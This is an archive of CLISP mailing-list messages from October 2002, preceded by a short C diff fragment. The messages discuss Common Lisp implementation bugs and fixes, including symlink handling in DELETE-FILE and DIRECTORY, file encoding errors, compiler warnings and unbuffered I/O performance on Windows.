+    pushSTACK(R_R_contagion_R(TheComplex(STACK_0)->c_real,
+                              TheComplex(STACK_0)->c_imag));
+  else pushSTACK(STACK_0);
+  VALUES1(N_exp_N(STACK_1,true,&STACK_0));
+  skipSTACK(2);
 }
 
 LISPFUNN(expt,2)


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OK, this sounds more like a bug related to the Debian package
(clisp-2.30-4).  I rebuilt the package (apt-get --compile source clisp)
to no avail. 

When using the latest CLISP CVS checkout, compiled with gcc-2.95 and
gcc-3.2 (with/without debugging), everything goes smoothly.

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> * In message <85ofa5mzvt.fsf@afx.raw.no-ip.com>
> * On the subject of "[clisp-list] Re: CLISP segfaults when loading parts of CLLIB?"
> * Sent on 07 Oct 2002 23:24:22 -0300
> * Honorable fc@gnu.org (Fabricio Chalub) writes:
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> OK, this sounds more like a bug related to the Debian package
> (clisp-2.30-4).  I rebuilt the package (apt-get --compile source clisp)
> to no avail. 
> 
> When using the latest CLISP CVS checkout, compiled with gcc-2.95 and
> gcc-3.2 (with/without debugging), everything goes smoothly.

Great news!!!
Please report this to the CLISP Debian maintainers (Will Newton).
He is extraordinarily competent, and I am sure he can handle this.

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> * In message <923285404.20021005092646@ich.dvo.ru>
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> So maybe make a socket-stream option BLOCKING and use it in that
> select loops and in READ-SEQUENCE ?
> 
> Advantages:
> 1. can be queried (AFAIK blocking mode of socket can't be checked)
>   so READ-SEQUENCE can determine how to behave.
> 2. Lowlevel code handling just one socket mode, simpler.
> 3. no WSACancelBlockingCall.

why not do it "implicitly"?

add READ/WRITE-CHAR/BYTE-SEQUENCE-NO-HANG (that's 4 functions)
which, on entry, put the socket (if that was a socket stream)
into a non-blocking mode and do the I/O;
before the return, you will need to put the socket back into blocking
mode (see make_HANDLER_frame/unwind_HANDLER_frame).


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> * Sent on Sun, 06 Oct 2002 22:53:50 +0300
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> Unfortunately this doesn't explain wrong numeric values which I get
> for some special functions in Maxima with clisp 2.30 since the value
> above is correct.

I fixed in the CVS all bugs you have reported so far.
please get the CLISP CVS HEAD and check that everything is OK.
Thanks.

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DELETE-FILE in CLISP deletes the truename of the file, so you cannot
delete a symbolic link, only its target:

$ touch foo
$ ln -s foo bar
$ clisp -q -norc -x '(delete-file "foo")
$ ls
foo
$

i.e., `bar' is gone, but `foo' is still there.

I think it is better to remove the symlink.
(the current behavior is always available with (DELETE-FILE (TRUENAME x))).

comments?

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Hello Sam,

Friday, October 11, 2002, 2:40:27 AM, you wrote:

> I think it is better to remove the symlink.
> (the current behavior is always available with (DELETE-FILE (TRUENAME x))).

> comments?

I think same. I will do that if there will no objections.


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> * In message <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu>
> * On the subject of "Re: [clisp-list] DELETE-FILE & TRUENAME"
> * Sent on Fri, 11 Oct 2002 11:07:48 -0400
> * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
>
> > > I think it is better to remove the symlink.
> > > (the current behavior is always available with (DELETE-FILE (TRUENAME x))).

> Is there a consensus among other implementors about what to do in this
> case?

CMUCL removed the symlink, not the target.

can someone try LW and ACL?

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> From: Sam Steingold <sds@gnu.org>
> Date: 11 Oct 2002 12:00:11 -0400
> 
> > * In message <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu>
> > * On the subject of "Re: [clisp-list] DELETE-FILE & TRUENAME"
> > * Sent on Fri, 11 Oct 2002 11:07:48 -0400
> > * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
> >
> > > > I think it is better to remove the symlink.  (the current
> > > > behavior is always available with (DELETE-FILE (TRUENAME x))).
> 
> > Is there a consensus among other implementors about what to do in
> > this case?
> 
> CMUCL removed the symlink, not the target.

emacs too.
 
> can someone try LW and ACL?


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Pascal Bourguignon <pjb@informatimago.com> writes:

> > From: Sam Steingold <sds@gnu.org>
> > Date: 11 Oct 2002 12:00:11 -0400
> > 
> > > * In message <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu>
> > > * On the subject of "Re: [clisp-list] DELETE-FILE & TRUENAME"
> > > * Sent on Fri, 11 Oct 2002 11:07:48 -0400
> > > * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
> > >
> > > > > I think it is better to remove the symlink.  (the current
> > > > > behavior is always available with (DELETE-FILE (TRUENAME x))).
> > 
> > > Is there a consensus among other implementors about what to do in
> > > this case?
> > 
> > CMUCL removed the symlink, not the target.
> 
> emacs too.
>  
> > can someone try LW and ACL?

LW 4.2.7, ACL 6.2, and SBCL 0.7.6 on Linux all removed the symlink.

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I have observed the following behaviour in clisp :

[54]> (with-output-to-string (out)
        (peek-char #\] (make-echo-stream
                (make-string-input-stream "ab cd e df s]") out)))
"ab cd e df s]"
[55]> 

This is not what I would expect to happen.  From the Hyperspec documentation
for peek-char:

 "When input-stream is an echo stream, characters that are only peeked at
are not echoed. In the case that peek-type is not nil, the characters that
are passed by peek-char are treated as if by read-char, and so are echoed
unless they have been marked otherwise by unread-char."

It would appear from the above that clisp does echo characters which
are only peeked at. 



Regards,

Barry.




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> * In message <87fzvcg7xw.fsf@orton.bew.org.uk>
> * On the subject of "[clisp-list] Bug in peek-char (clisp 2.27)"
> * Sent on 11 Oct 2002 19:13:31 +0100
> * Honorable Barry Wilkes <wilkesb@acm.org> writes:
>
> I have observed the following behaviour in clisp :
> 
> [54]> (with-output-to-string (out)
>         (peek-char #\] (make-echo-stream
>                 (make-string-input-stream "ab cd e df s]") out)))
> "ab cd e df s]"
> [55]> 
> 
> This is not what I would expect to happen.  From the Hyperspec documentation
> for peek-char:
> 
>  "When input-stream is an echo stream, characters that are only peeked at
> are not echoed. In the case that peek-type is not nil, the characters that
> are passed by peek-char are treated as if by read-char, and so are echoed
> unless they have been marked otherwise by unread-char."
> 
> It would appear from the above that clisp does echo characters which
> are only peeked at. 

Indeed.  (LWL and ACL are correct while CMUCL is even worse than CLISP -
it is wrong even when peek-type is nil).

I just fixed this bug in the CVS.
Thanks.

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Sam Steingold ?????:
>>* In message <3DA094CE.3060307@mail.ru>
>>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
>>* Sent on Sun, 06 Oct 2002 22:53:50 +0300
>>* Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
>>
>>Unfortunately this doesn't explain wrong numeric values which I get
>>for some special functions in Maxima with clisp 2.30 since the value
>>above is correct.
> 
> 
> I fixed in the CVS all bugs you have reported so far.
> please get the CLISP CVS HEAD and check that everything is OK.
> Thanks.
> 

Today's CLISP CVS works fine and passes all
tests with Maxima CVS.

Thank you!

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> * In message <3DA873A2.7070002@mail.ru>
> * On the subject of "Re: floating point problems with clisp 2.30"
> * Sent on Sat, 12 Oct 2002 22:10:26 +0300
> * Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
>
> Sam Steingold ?????:
> >>* In message <3DA094CE.3060307@mail.ru>
> >>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
> >>* Sent on Sun, 06 Oct 2002 22:53:50 +0300
> >>* Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
> >>
> >>Unfortunately this doesn't explain wrong numeric values which I get
> >>for some special functions in Maxima with clisp 2.30 since the value
> >>above is correct.
> > I fixed in the CVS all bugs you have reported so far.
> > please get the CLISP CVS HEAD and check that everything is OK.
> 
> Today's CLISP CVS works fine and passes all
> tests with Maxima CVS.

what about the case when some function was given a DOUBLE-FLOAT and
returned a SINGLE-FLOAT (or a SHORT-FLOAT)?

could you please re-check that this problem is gone too?

thanks!

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Hi --

I've been testing a Lisp application, ACL2, built on CLISP 2.30.  (The home
page for ACL2 is http://www.cs.utexas.edu/users/moore/acl2).  Several input
(.lisp) files supplied to me by ACL2 users have caused problems because of the
use of special characters in comments, as evidenced by these error messages:

*** - invalid byte #xAB in CHARSET:ASCII conversion
*** - invalid byte #xB7 in CHARSET:ASCII conversion
*** - invalid byte #xED in CHARSET:ASCII conversion
*** - invalid byte #xF3 in CHARSET:ASCII conversion
*** - invalid byte #xF1 in CHARSET:ASCII conversion

In all these cases, the characters were to the right of a semicolon on their
lines.  Shouldn't one be able to put any character desired between a semi-colon
(on the left) and a newline (on the right)?

By the way, on the positive side, CLISP found a bug that other Lisps (GCL,
Allegro CL, CMU CL) had missed (use of ",@" on an atom).

Thanks --
-- Matt Kaufmann


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> * In message <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu>
> * On the subject of "[clisp-list] special characters in comments"
> * Sent on Sat, 12 Oct 2002 22:11:43 -0500 (CDT)
> * Honorable Matt Kaufmann <kaufmann@cs.utexas.edu> writes:
>
> I've been testing a Lisp application, ACL2, built on CLISP 2.30.  (The home
> page for ACL2 is http://www.cs.utexas.edu/users/moore/acl2).  Several input
> (.lisp) files supplied to me by ACL2 users have caused problems because of the
> use of special characters in comments, as evidenced by these error messages:
> 
> *** - invalid byte #xAB in CHARSET:ASCII conversion
> *** - invalid byte #xB7 in CHARSET:ASCII conversion
> *** - invalid byte #xED in CHARSET:ASCII conversion
> *** - invalid byte #xF3 in CHARSET:ASCII conversion
> *** - invalid byte #xF1 in CHARSET:ASCII conversion

<http://clisp.cons.org/faq.html#enc-err>

"-E utf-8" or an explicit :EXTERNAL-FORMAT argument to OPEN and LOAD
are your friends.

> By the way, on the positive side, CLISP found a bug that other Lisps
> (GCL, Allegro CL, CMU CL) had missed (use of ",@" on an atom).

great!

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Thank you for the quick reply.  So, I've added the following to the ACL2
sources (the check for unicode is necessary because charset:utf-8 was
introduced after CLISP 2.27):

  #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8)

This eliminated problems with two of the characters (#xAB and #xB7), but some
characters used in comments still cause errors:

*** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion
*** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion
*** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion

By the way, I tried the FAQ page but didn't find the link to #enc-err.  Upon
investigation I noticed the following line in
<http://clisp.cons.org/faq.html#enc-err>:

<h3 id="enc-err">invalid byte #x94 in CHARSET:ASCII conversion</h3>

I'm running Netscape 4.79 under Redhat Linux 7.3, and that browser does not
seem to recognize this tag.  Probably "id=" could be changed to "name=" to fix
this problem, but I'm no expert on web stuff so if this seems wrong, just
ignore that suggestion.

Thanks --
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   > * In message <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu>
   > * On the subject of "[clisp-list] special characters in comments"
   > * Sent on Sat, 12 Oct 2002 22:11:43 -0500 (CDT)
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   >
   > I've been testing a Lisp application, ACL2, built on CLISP 2.30.  (The home
   > page for ACL2 is http://www.cs.utexas.edu/users/moore/acl2).  Several input
   > (.lisp) files supplied to me by ACL2 users have caused problems because of the
   > use of special characters in comments, as evidenced by these error messages:
   > 
   > *** - invalid byte #xAB in CHARSET:ASCII conversion
   > *** - invalid byte #xB7 in CHARSET:ASCII conversion
   > *** - invalid byte #xED in CHARSET:ASCII conversion
   > *** - invalid byte #xF3 in CHARSET:ASCII conversion
   > *** - invalid byte #xF1 in CHARSET:ASCII conversion

   <http://clisp.cons.org/faq.html#enc-err>

   "-E utf-8" or an explicit :EXTERNAL-FORMAT argument to OPEN and LOAD
   are your friends.

   > By the way, on the positive side, CLISP found a bug that other Lisps
   > (GCL, Allegro CL, CMU CL) had missed (use of ",@" on an atom).

   great!

   -- 
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On Mon, 2002-10-14 at 17:09, Matt Kaufmann wrote:
> Thank you for the quick reply.  So, I've added the following to the ACL2
> sources (the check for unicode is necessary because charset:utf-8 was
> introduced after CLISP 2.27):
> 
>   #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8)
> 
> This eliminated problems with two of the characters (#xAB and #xB7), but some
> characters used in comments still cause errors:
> 
> *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion
> *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion
> *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion

If you use a faithfully reproducing character set it will be impossible
to use invalid characters in comments. I suggest you try iso-8859-1
decoding instead of utf-8.

You can read about faithful output here:
http://cl-cookbook.sourceforge.net/io.html

Longer term you may wish to convert the code to utf-8 encoding so you
can use that instead of an 8-bit character set.

Regards,
Adam




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Thanks, but changing to iso-8859-1 encoding didn't seem to help:

  [1]> custom:*default-file-encoding*
  #<ENCODING CHARSET:ASCII :UNIX>
  [2]> ; ó

  *** - invalid byte #xF3 in CHARSET:ASCII conversion
  1. Break [3]> :a

  [4]> (setq custom:*default-file-encoding* charset:iso-8859-1)
  #<ENCODING CHARSET:ISO-8859-1 :UNIX>
  [5]> ; ó

  *** - invalid byte #xF3 in CHARSET:ASCII conversion
  1. Break [6]> 

The vast majority of my problems were with the two characters that are handled
by utf-8.  I've changed the user-contributed files that use the other three, so
this isn't any longer an issue for me, anyhow.  Thanks for the responses.

-- Matt K.
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   On Mon, 2002-10-14 at 17:09, Matt Kaufmann wrote:
   > Thank you for the quick reply.  So, I've added the following to the ACL2
   > sources (the check for unicode is necessary because charset:utf-8 was
   > introduced after CLISP 2.27):
   > 
   >   #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8)
   > 
   > This eliminated problems with two of the characters (#xAB and #xB7), but some
   > characters used in comments still cause errors:
   > 
   > *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion
   > *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion
   > *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion

   If you use a faithfully reproducing character set it will be impossible
   to use invalid characters in comments. I suggest you try iso-8859-1
   decoding instead of utf-8.

   You can read about faithful output here:
   http://cl-cookbook.sourceforge.net/io.html

   Longer term you may wish to convert the code to utf-8 encoding so you
   can use that instead of an 8-bit character set.

   Regards,
   Adam


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My apologies -- in fact your suggestion of using iso-8859-1 DOES work.
Apparently changing custom:*default-file-encoding* does not affect the existing
standard input stream; but I can now load a file with character 243 in a
comment.

Thanks --
-- Matt K.
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Thanks, but changing to iso-8859-1 encoding didn't seem to help:

  [1]> custom:*default-file-encoding*
  #<ENCODING CHARSET:ASCII :UNIX>
  [2]> ; ó

  *** - invalid byte #xF3 in CHARSET:ASCII conversion
  1. Break [3]> :a

  [4]> (setq custom:*default-file-encoding* charset:iso-8859-1)
  #<ENCODING CHARSET:ISO-8859-1 :UNIX>
  [5]> ; ó

  *** - invalid byte #xF3 in CHARSET:ASCII conversion
  1. Break [6]> 

The vast majority of my problems were with the two characters that are handled
by utf-8.  I've changed the user-contributed files that use the other three, so
this isn't any longer an issue for me, anyhow.  Thanks for the responses.

- -- Matt K.
   From: Adam Warner <lists@consulting.net.nz>
   Cc: clisp-list@lists.sourceforge.net
   Content-Type: text/plain
   Date: 14 Oct 2002 19:19:16 +1300

   On Mon, 2002-10-14 at 17:09, Matt Kaufmann wrote:
   > Thank you for the quick reply.  So, I've added the following to the ACL2
   > sources (the check for unicode is necessary because charset:utf-8 was
   > introduced after CLISP 2.27):
   > 
   >   #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8)
   > 
   > This eliminated problems with two of the characters (#xAB and #xB7), but some
   > characters used in comments still cause errors:
   > 
   > *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion
   > *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion
   > *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion

   If you use a faithfully reproducing character set it will be impossible
   to use invalid characters in comments. I suggest you try iso-8859-1
   decoding instead of utf-8.

   You can read about faithful output here:
   http://cl-cookbook.sourceforge.net/io.html

   Longer term you may wish to convert the code to utf-8 encoding so you
   can use that instead of an 8-bit character set.

   Regards,
   Adam
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Sam Steingold ?????:
>>* In message <3DA873A2.7070002@mail.ru>
>>* On the subject of "Re: floating point problems with clisp 2.30"
>>* Sent on Sat, 12 Oct 2002 22:10:26 +0300
>>* Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
>>
>>Sam Steingold ?????:
>>
>>>>* In message <3DA094CE.3060307@mail.ru>
>>>>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
>>>>* Sent on Sun, 06 Oct 2002 22:53:50 +0300
>>>>* Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
>>>>
>>>>Unfortunately this doesn't explain wrong numeric values which I get
>>>>for some special functions in Maxima with clisp 2.30 since the value
>>>>above is correct.
>>>
>>>I fixed in the CVS all bugs you have reported so far.
>>>please get the CLISP CVS HEAD and check that everything is OK.
>>
>>Today's CLISP CVS works fine and passes all
>>tests with Maxima CVS.
> 
> 
> what about the case when some function was given a DOUBLE-FLOAT and
> returned a SINGLE-FLOAT (or a SHORT-FLOAT)?
> 
> could you please re-check that this problem is gone too?
> 
> thanks!
> 

Yes this problem is fixed as well.
In any case with CLISP CVS 12.10.2002 I can't
reproduce any problem I observed earlier with
clisp 2.30.  Everything seems to be fine.

But I want to stress that I was not able
to reduce these problems to some simple
test outside Maxima (except wrong
warning in expt) and now they all gone.

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Hello List...

I am working on a system of files that compile with no warnings in Lispworks
but a whole slew of "undefined function" warnings in clisp due to the order
of definitions within the same files.

I prefer Lispworks' behaviour about that, can I have it?  Is there a flag
about warnings I can set somewhere?  Also, what are the other implications
about the compiler giving me what I am asking for, ie will I then miss out
on important warnings?

As far as I can tell, the only other alternative is to rearrange all of my
functions :( and change the way I like to organise my code in general :((

Advice appreciated!  Thanks...

Coby Beck
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> * In message <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet>
> * On the subject of "[clisp-list] compiler warnings"
> * Sent on Tue, 15 Oct 2002 11:50:22 +1100
> * Honorable "Coby Beck" <coby@thesoftwaresmith.com.au> writes:
>
> I am working on a system of files that compile with no warnings in
> Lispworks but a whole slew of "undefined function" warnings in clisp
> due to the order of definitions within the same files.

what CLISP version are you using?
this does not happen for me in the latest CLISP:
$ clisp -q -norc -c zot.lisp 

Compiling file /usr/local/src/clisp/bugs/zot.lisp ...

Compilation of file /usr/local/src/clisp/bugs/zot.lisp is finished.
0 errors, 0 warnings
$ cat zot.lisp 
(defun foo (x) (bar x))
(defun bar (x) x)
$

> PPS. Directions to FAQ's or search interfaces greatly appreciated,
> this is my first time using this list

hmmm - how did you find out about this list?
Are you subscribed? (you should be - you cannot expect everyone to copy
you their replies, many will reply only to the list!)
All CLISP-related information (implementation notes, FAQ &c) can be
found at <http://clisp.cons.org>.

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----- Original Message -----
From: "Sam Steingold" <sds@gnu.org>
> > * In message <00cd01c273e4$d7aa5fc0$1b01a8c0@localnet>
> > * On the subject of "[clisp-list] compiler warnings"
> > * Sent on Tue, 15 Oct 2002 11:50:22 +1100
> > * Honorable "Coby Beck" <coby@thesoftwaresmith.com.au> writes:
> >
> > I am working on a system of files that compile with no warnings in
> > Lispworks but a whole slew of "undefined function" warnings in clisp
> > due to the order of definitions within the same files.
>
> what CLISP version are you using?
> this does not happen for me in the latest CLISP:
> $ clisp -q -norc -c zot.lisp

We are using 2.29

>
> Compiling file /usr/local/src/clisp/bugs/zot.lisp ...
>
> Compilation of file /usr/local/src/clisp/bugs/zot.lisp is finished.
> 0 errors, 0 warnings
> $ cat zot.lisp
> (defun foo (x) (bar x))
> (defun bar (x) x)
> $

I tried loading the system directly from the clisp listener via a load file
and all went fine.  The problem still comes when the application is being
built via a script and clisp is being called like this:

 clisp -C -i <list of files> -x '(ext:saveinitmem)' && \

Are any of those flags responsible?  Anyway I will track down the author of
the script and see what the implications are about that call.

> > PPS. Directions to FAQ's or search interfaces greatly appreciated,
> > this is my first time using this list
>
> hmmm - how did you find out about this list?

I knew it was there by c.l.l and a quick google took me to it.  I used a
search form on http://sourceforge.net/mailarchive/forum.php?forum=clisp-list
to see if others had asked the same.

> Are you subscribed?

I am.  How active is it?  (of course I will see for myself now)  Thanks for
the quick response!

Coby Beck
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> * In message <019401c273f5$d21d1be0$1b01a8c0@localnet>
> * On the subject of "Re: [clisp-list] compiler warnings"
> * Sent on Tue, 15 Oct 2002 13:51:54 +1100
> * Honorable "Coby Beck" <coby@thesoftwaresmith.com.au> writes:
>
>  clisp -C -i <list of files> -x '(ext:saveinitmem)' && \

Read The Fine Manual!
-C will cause the files loaded by -i to be compiled on the fly,
i.e., each form is compiled in its own compilation unit (see CLHS) -
this will cause the warnings!
-C is mostly for CLISP shell scripts, not for the real life.
you should either use defsystem (from CLOCC) or

a makefile like

%.fas: %.lisp
        clisp -c %<

%.mem: *.fas
        clisp -i $^ -x '(saveinitmem "$@")'

see also
<http://clisp.cons.org/impnotes/system.html#system-dict#require>
for information on how you can use REQUIE to simplify the make rules.

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Hi,

Sunday, October 13, 2002, 1:50:29 AM, you wrote:

> comments are welcome

>The  argument  :IF-DOES-NOT-EXIST  controls  the  treatment  of links
>pointing to non-existent files and can take the following values:
>
>:DISCARD (default)
>discard the bad directory entries
>:ERROR
>SIGNAL  an  ERROR  on  bad directory entries (this corresponds to the
>default behavior of DIRECTORY in CMU CL)
>:KEEP
>keep  bad  directory  entries  in  the  returned  list  (this roughly
>corresponds to the (DIRECTORY ... :TRUNAMEP NIL) call in CMU CL)

What to do when :FULL T and :IF-DOES-NOT-EXIST :KEEP ?
Don't do :FULL ?

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* Sam Steingold

> I added :if-does-not-exists to directory in the CVS
> please try it and comment in <clisp-list>
> thanks.

Yes, this works, but I think that when you list a directory, you
should get the name of the symbolic link, not the file it points to.

Ex:

[1]> (directory #p"/tmp/test/*")
(#P"/tmp/test/arf" #P"/tmp/test/baz" #P"/tmp/test/baz" #P"/tmp/test/foo")

I get two baz here, but one of them is really a sym-link pointing to
baz.  I think it should at least be selectable whether you get the
link-name or the truename.  (As with :truenamep in CMUCL.)

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> * In message <13121566811.20021015182859@ich.dvo.ru>
> * On the subject of "Re: new DIRECTORY argument :IF-DOES-NOT-EXIST"
> * Sent on Tue, 15 Oct 2002 18:28:59 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Sunday, October 13, 2002, 1:50:29 AM, you wrote:
> 
> > comments are welcome
> 
> >The  argument  :IF-DOES-NOT-EXIST  controls  the  treatment  of links
> >pointing to non-existent files and can take the following values:
> >
> >:DISCARD (default)
> >discard the bad directory entries
> >:ERROR
> >SIGNAL  an  ERROR  on  bad directory entries (this corresponds to the
> >default behavior of DIRECTORY in CMU CL)
> >:KEEP
> >keep  bad  directory  entries  in  the  returned  list  (this roughly
> >corresponds to the (DIRECTORY ... :TRUNAMEP NIL) call in CMU CL)
> 
> What to do when :FULL T and :IF-DOES-NOT-EXIST :KEEP ?
> Don't do :FULL ?

do :FULL for all existing files.
i.e., (delete-if #'consp (directory X :if-does-not-exist :keep :full t))
will return the list of symlinks that cannot be resolved.


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> * In message <lzhefodrum.fsf@unity.copyleft.no>
> * On the subject of "[clisp-list] directory, symlinks."
> * Sent on Tue, 15 Oct 2002 10:33:05 +0200
> * Honorable "Johannes Gr=F8dem" <johs+n@ifi.uio.no> writes:
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> * Sam Steingold
>=20
> > I added :if-does-not-exists to directory in the CVS
> > please try it and comment in <clisp-list>
> > thanks.
>=20
> Yes, this works, but I think that when you list a directory, you
> should get the name of the symbolic link, not the file it points to.

I agree.
Unfortunately for both of us, the x3j13 (the ANSI CL committee) thought
differently and required that DIRECTORY return truenames.


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* Sam Steingold <sds@gnu.org>:

>> Yes, this works, but I think that when you list a directory, you
>> should get the name of the symbolic link, not the file it points to.
> I agree.
> Unfortunately for both of us, the x3j13 (the ANSI CL committee) thought
> differently and required that DIRECTORY return truenames.

Ah, you're right.  Too bad.

By the way, doesn't it also say that directory should signal a 
file-error if it cannot get the truename of a file?  Maybe :error
should be the default parameter for if-does-not-exist?

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> * In message <lzof9vd7m4.fsf@unity.copyleft.no>
> * On the subject of "[clisp-list] Re: directory, symlinks."
> * Sent on Tue, 15 Oct 2002 17:50:11 +0200
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> By the way, doesn't it also say that directory should signal a
> file-error if it cannot get the truename of a file?  Maybe :error
> should be the default parameter for if-does-not-exist?

backwards compatibility rules.

I can make the default depend on COSTOM:*ANSI*, but that would just add
complexity where it is not really necessary.

What do others think?

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Date: Tue Oct 15 16:55:02 2002
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On Wed, 2002-10-16 at 07:26, Sam Steingold wrote:
> > * In message <lzof9vd7m4.fsf@unity.copyleft.no>
> > * On the subject of "[clisp-list] Re: directory, symlinks."
> > * Sent on Tue, 15 Oct 2002 17:50:11 +0200
> > * Honorable "Johannes Gr=F8dem" <johs+n@ifi.uio.no> writes:
> >
> > By the way, doesn't it also say that directory should signal a
> > file-error if it cannot get the truename of a file?  Maybe :error
> > should be the default parameter for if-does-not-exist?
>=20
> backwards compatibility rules.
>=20
> I can make the default depend on COSTOM:*ANSI*, but that would just add
> complexity where it is not really necessary.
>=20
> What do others think?

Sam, I would like to see CLISP switch to *ansi* being t by default.

At first I would deprecate the nil setting for a couple of releases,
giving those who need backwards compatibility time to add a (setf *ansi*
nil) to their files, startup scripts or CLISP invocation. A release or
two later I would switch everything over to t.

ILISP on Debian already starts CLISP with -ansi by default.

I would like to see people new to CLISP work with conforming results.
These are the people most unlikely to know about/use the -ansi setting.
Long time users who need non-conforming functionality are the best
people to make the decision that *ansi* should be set to nil.

Regards,
Adam



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Date: Tue Oct 15 17:50:02 2002
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Hello Sam,

Wednesday, October 16, 2002, 1:36:18 AM, you wrote:

>> > I added :if-does-not-exists to directory in the CVS
>> > please try it and comment in <clisp-list>
>> > thanks.
>> 
>> Yes, this works, but I think that when you list a directory, you
>> should get the name of the symbolic link, not the file it points to.

> I agree.
> Unfortunately for both of us, the x3j13 (the ANSI CL committee) thought
> differently and required that DIRECTORY return truenames.

And there's no way to know symbolic names of directories ?

Also, I cannot tell in windows what broken link points to - to file or directory.
I'll assume it points to file.

-- 
Best regards,
 Arseny    




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Date: Wed Oct 16 05:54:05 2002
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Todd Sabin wrote:
>> Reading 1_000_000 bytes from a larger file (~3MB),
>> CLISP TIME reported real time/run time for one run:
>> from source:    local file      Samba/NFS server
>> unbuffered      161/132 secs    1866/173 seconds!!

>I suspect this has little to do with Windows, per se, and more to do
>with the way clisp does I/O on Windows.  If you look at
>DoInterruptible in win32aux.d, you'll notice that clisp creates (and
>destroys) a thread every time through DoInterruptible.  Combine that
>with an unbuffered stream and the result is that clisp creates and
>destroys an OS thread for every character read.  I'm not sure if that
>would account for all of the difference, but it seems like a very good
>place to start...

Indeed it sounds very convincing and thus a very bad behaviour of CLISP that ought to change in some future, but I now feel that's not enough to acount for the enormous difference between local and remote reading of files.

Invoking task creation overhead for each character (or byte) read should yield the same times in both cases.
So this could possibly explain the 161 seconds of the local file test. But not the 1866 seconds. This is corroborated by the cpu% load graphical display which shows 100% activity in the local case (explained by being constantly busy creating tasks) but almost no activity during the remote file test.


I further assume that because I'm reading from files and not using socket directly in Lisp, that it's the same low-level functionality of CLISP that is invoked, e.g. stream.d: low_read_unbuffered_handle() and win32aux.d: DoInterruptible(&do_full_read,...) -- and not lowlevel_sock_read() for sockets.

Therefore the difference in timing must be accountable to something happening below CLISP: the OS, services or handlers - or interaction between both.

From there on, single bytes (payload) traveling across the network seem a resonable explanation of the measurements. This could be caused by MS-Windows network handlers, the Samba server, some configuration switches or whatever.

The question then remains why Linux doesn't seem to do single byte reads across the network. Maybe Don can shed light on this?

Regards,
	Jorg Hohle.


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Todd Sabin wrote:
> >> Reading 1_000_000 bytes from a larger file (~3MB),
> >> CLISP TIME reported real time/run time for one run:
> >> from source:    local file      Samba/NFS server
> >> unbuffered      161/132 secs    1866/173 seconds!!
> 
> >I suspect this has little to do with Windows, per se, and more to do
> >with the way clisp does I/O on Windows.  If you look at
> >DoInterruptible in win32aux.d, you'll notice that clisp creates (and
> >destroys) a thread every time through DoInterruptible.  Combine that
> >with an unbuffered stream and the result is that clisp creates and
> >destroys an OS thread for every character read.  I'm not sure if that
> >would account for all of the difference, but it seems like a very good
> >place to start...
> [...]
> Therefore the difference in timing must be accountable to something
> happening below CLISP: the OS, services or handlers - or interaction
> between both.
> 
> From there on, single bytes (payload) traveling across the network
> seem a resonable explanation of the measurements. This could be
> caused by MS-Windows network handlers, the Samba server, some
> configuration switches or whatever.
> 
> The question then remains why Linux doesn't seem to do single byte
> reads across the network. Maybe Don can shed light on this?

I'd guess the difference is between NFS and SMB, then.  The linux NFS
implementation is probably reading entire blocks (instead of single
bytes) across the network, whether you've asked for them or not, but
the windows SMB implementation is only reading single bytes as you ask
for them.  You can try sniffing the network traffic and seeing if
that's the case.


Todd


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Date: Wed Oct 16 22:42:02 2002
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Hello Sam,

Wednesday, October 16, 2002, 11:26:02 PM, you wrote:

>> And there's no way to know symbolic names of directories ?
> what for?
For those people who implement os shells on lisp.

>> Also, I cannot tell in windows what broken link points to - to file or
>> directory.  I'll assume it points to file.

> if it is broken, it does not matter where it points to - we use the
> original name.
Ah, well... Got it...

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Todd Sabin wrote:
>> >> Reading 1_000_000 bytes [one by one on MS-Windows2k],
>> >> reported real time/run (or "system") time:
>> >> from source:    local file      Samba/NFS server
>> >> unbuffered      161/132 secs    1866/173 seconds!!

>I'd guess the difference is between NFS and SMB, then.  The linux NFS
>implementation is probably reading entire blocks (instead of single
>bytes) across the network, whether you've asked for them or not, but
>the windows SMB implementation is only reading single bytes as you ask
>for them.  You can try sniffing the network traffic and seeing if
>that's the case.

I installed ethereal (www.ethereal.com) which I was recommended and can now confirm: Each SMB request for one byte of the file takes 117 bytes and every answer is 118 bytes long on the network. That's 235 times overhead!

My conclusion (unchanged): use buffering in your application! You never know what the OS is going to do on unbuffered/small calls on file/pipe/sockets.

